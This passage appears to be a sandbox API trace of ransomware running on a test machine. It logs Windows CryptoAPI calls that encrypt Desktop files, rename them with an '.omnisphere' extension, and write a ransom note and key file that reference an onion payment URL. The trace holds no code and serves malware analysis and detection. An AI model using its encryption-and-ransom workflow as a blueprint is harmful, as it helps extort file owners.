pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.395] CryptDestroyKey (hKey=0x16394e8) returned 1 [0164.395] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0164.395] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x60e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.395] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.395] GetProcessHeap () returned 0x1600000 [0164.395] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x25e) returned 0x17755a0 [0164.395] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\MVw.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\mvw.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\MVw.avi.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\mvw.avi.omnisphere")) returned 1 [0164.396] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\MVw.avi.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\MVw.avi.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\MVw.avi.omnisphere.id" [0164.396] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\MVw.avi.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\mvw.avi.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.397] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.398] CloseHandle (hObject=0x3bc) returned 1 [0164.398] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.398] CloseHandle (hObject=0x380) returned 1 [0164.398] SetEndOfFile (hFile=0x39c) returned 1 [0164.398] FlushFileBuffers (hFile=0x39c) returned 1 [0164.466] CloseHandle (hObject=0x39c) returned 1 [0164.466] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\MVw.avi" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.467] GetProcessHeap () returned 0x1600000 [0164.467] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1775808 [0164.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.467] GetProcessHeap () returned 0x1600000 [0164.467] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733c48 [0164.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733c48, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.467] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.467] GetProcessHeap () returned 0x1600000 [0164.467] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f1c0 [0164.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f1c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.467] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.467] GetProcessHeap () returned 0x1600000 [0164.467] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773f88 [0164.467] PathCombineW (in: pszDest=0x1773f88, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.467] GetProcessHeap () returned 0x1600000 [0164.467] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17574c0 [0164.467] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.468] WriteFile (in: hFile=0x39c, lpBuffer=0x17574c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x17574c0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.468] CloseHandle (hObject=0x39c) returned 1 [0164.468] GetProcessHeap () returned 0x1600000 [0164.468] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1775808 | out: hHeap=0x1600000) returned 1 [0164.468] GetProcessHeap () returned 0x1600000 [0164.468] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0164.468] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.469] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.469] CloseHandle (hObject=0x39c) returned 1 [0164.469] GetProcessHeap () returned 0x1600000 [0164.469] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0164.469] GetProcessHeap () returned 0x1600000 [0164.469] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1634d28 | out: hHeap=0x1600000) returned 1 [0164.469] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94310fe0, ftCreationTime.dwHighDateTime=0x1d4d481, ftLastAccessTime.dwLowDateTime=0x27724ca0, ftLastAccessTime.dwHighDateTime=0x1d4c9b6, ftLastWriteTime.dwLowDateTime=0x27724ca0, ftLastWriteTime.dwHighDateTime=0x1d4c9b6, nFileSizeHigh=0x0, nFileSizeLow=0xbe53, dwReserved0=0x0, dwReserved1=0xf5, cFileName="pCy6.mp3", cAlternateFileName="")) returned 1 [0164.469] GetProcessHeap () returned 0x1600000 [0164.469] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x50) returned 0x16351a0 [0164.469] PathCombineW (in: pszDest=0x16351a0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="pCy6.mp3" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3" [0164.469] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0164.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\pCy6.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\pcy6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.470] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=48723) returned 1 [0164.470] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xb92f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.470] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.470] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] GetTickCount () returned 0x1168d63 [0164.471] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668240) returned 1 [0164.473] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639968) returned 1 [0164.473] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.473] CryptDestroyKey (hKey=0x1639968) returned 1 [0164.473] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0164.473] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbe53, lpName=0x0) returned 0x380 [0164.473] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbe53) returned 0x1480000 [0164.473] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668a38) returned 1 [0164.474] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x16397a8) returned 1 [0164.474] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.474] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.474] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.474] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.474] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.474] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.474] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.474] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.474] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.475] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.476] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.477] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, 